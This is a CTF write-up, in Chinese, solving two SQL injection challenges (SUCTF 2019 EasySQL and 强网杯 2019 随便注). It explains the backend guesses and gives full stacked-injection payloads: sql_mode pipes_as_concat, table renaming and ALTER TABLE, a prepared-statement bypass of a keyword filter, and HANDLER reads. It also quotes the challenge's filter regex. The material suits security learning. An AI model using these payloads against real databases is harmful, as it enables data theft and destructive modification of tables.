[SUCTF 2019] EasySQL 1

思路

  • 猜后端代码并拼凑
  • 思路别拘泥于时间盲注、报错注入

结果

手工盲注发现过滤了 extractvalueunionsleep 等关键词,并且输入字符无回显,所以没办法使用布尔盲注、时间盲注

测试输入数字的时候显示 Array ( [0] => 1 )
那么根据输入数字有回显,输入字符无回显,猜测后端代码有一个 或 结构,可能如下所示:

1
select $_POST['query'] || flag from flag

那么 payload 构造有一下几种:

1
*,1
1
1;set sql_mode=pipes_as_concat;select 1

测试

*,1

本地构建 Flag 数据表进行测试

*,1 的 payload 与后端代码拼接形成

1
select *,1||flag from Flag

上面的语句 1||flag 等同于 1,本地测试结果如下

所以上面的语句效果等同于

1
select *,1 from Flag

|| 连接符

在 Mysql 9.0.1、5.5.53 版本测试中,select command1 || command2 会返回如下结果:

  • command1command2 中有一个为非 0 数字,另一个为列名,则结果返回 1
  • command1command2 中两个为非 0 数字,则结果返回 1
  • command1command2 中有一个为 0,另一个不是非列名字符的话,则结果返回 0
  • command1command2 中只要有一个为非列名的字符/字符串,则报错 Unknown culumn

1;set sql_mode=pipes_as_concat;select 1

set sql_mode=pipes_as_concat 是为了将 || 作为 concat 函数来使用,正常情况下,sql_mode 值为下面的情况

当设置了 sql_mode=pipes_as_concat 之后,1||flag 便等同于 concat(1,flag)

所以最终后端语句执行的是

1
select concat(1,flag) from Flag

[强网杯 2019]随便注

题目过滤如下:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

经过测试,堆叠注入是有效果的:

1
2
3
4
5
6
# 查数据库: supersqli
1';show databases;
# 查表: 1919810931114514
1';show tables;
# 查列名: flag
1';show columns from `1919810931114514`

注意:数据表如果是数字的话,需要使用反引号进行包裹

show 语句只能查询到列名这一个阶段,是没办法查询到数据的,因此接下来要使用别的方法进行数据读取

下面有两种思路获取 flag

改表名、列名

原语句是在另一个数据表 “words” 中进行查询语句的,所以可以利用原语句中的 select 帮助我们:把 “words” 改名为其它,然后把 “1919810931114514” 数据表改名为 “words” ,增添 “id” 列,将 “flag” 列改名为 “data”,然后利用 'or 1=1;# 显示 flag

payload 如下:

1
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- q

利用 concat 拼接

payload 如下:

1
-1';use supersqli;set @sql=concat('s','elect flag from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;-- q
  • SET @sql=: 定义并设置一个用户变量 @sql
  • PREPARE stmt1 FROM @sql;
    • PREPARE: 用于准备一个 SQL 语句,将它编译成一个执行计划,以便后续执行
    • stmt1: 定义的语句句柄,表示这个准备好的语句的名称
    • FROM @sql: 表示准备的语句内容来源于 @sql 变量。也就是说,这里将 @sql 中的字符串内容作为 SQL 语句进行准备
  • EXECUTE stmt1: 执行 stmt1 语句

Handler 语法

handler 语句,一行一行的浏览一个表中的数据
mysql 专用的语句,并没有包含到 SQL 标准中

1
HANDLER tbl_name OPEN

打开一张表,无返回结果,实际上在这里声明了一个名为 tb1_name 的句柄

1
HANDLER tbl_name READ FIRST

获取句柄的第一行,通过 READ NEXT 依次获取其它行。最后一行执行之后再执行 NEXT 会返回一个空的结果

1
HANDLER tbl_name CLOSE

关闭打开的句柄

1
HANDLER tbl_name READ index_name = value

通过索引列指定一个值,可以指定从哪一行开始,通过 NEXT 继续浏览


于是可以通过构造 Handler 语句利用堆叠注入进行列的读取,如下所示:

1
?inject=1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#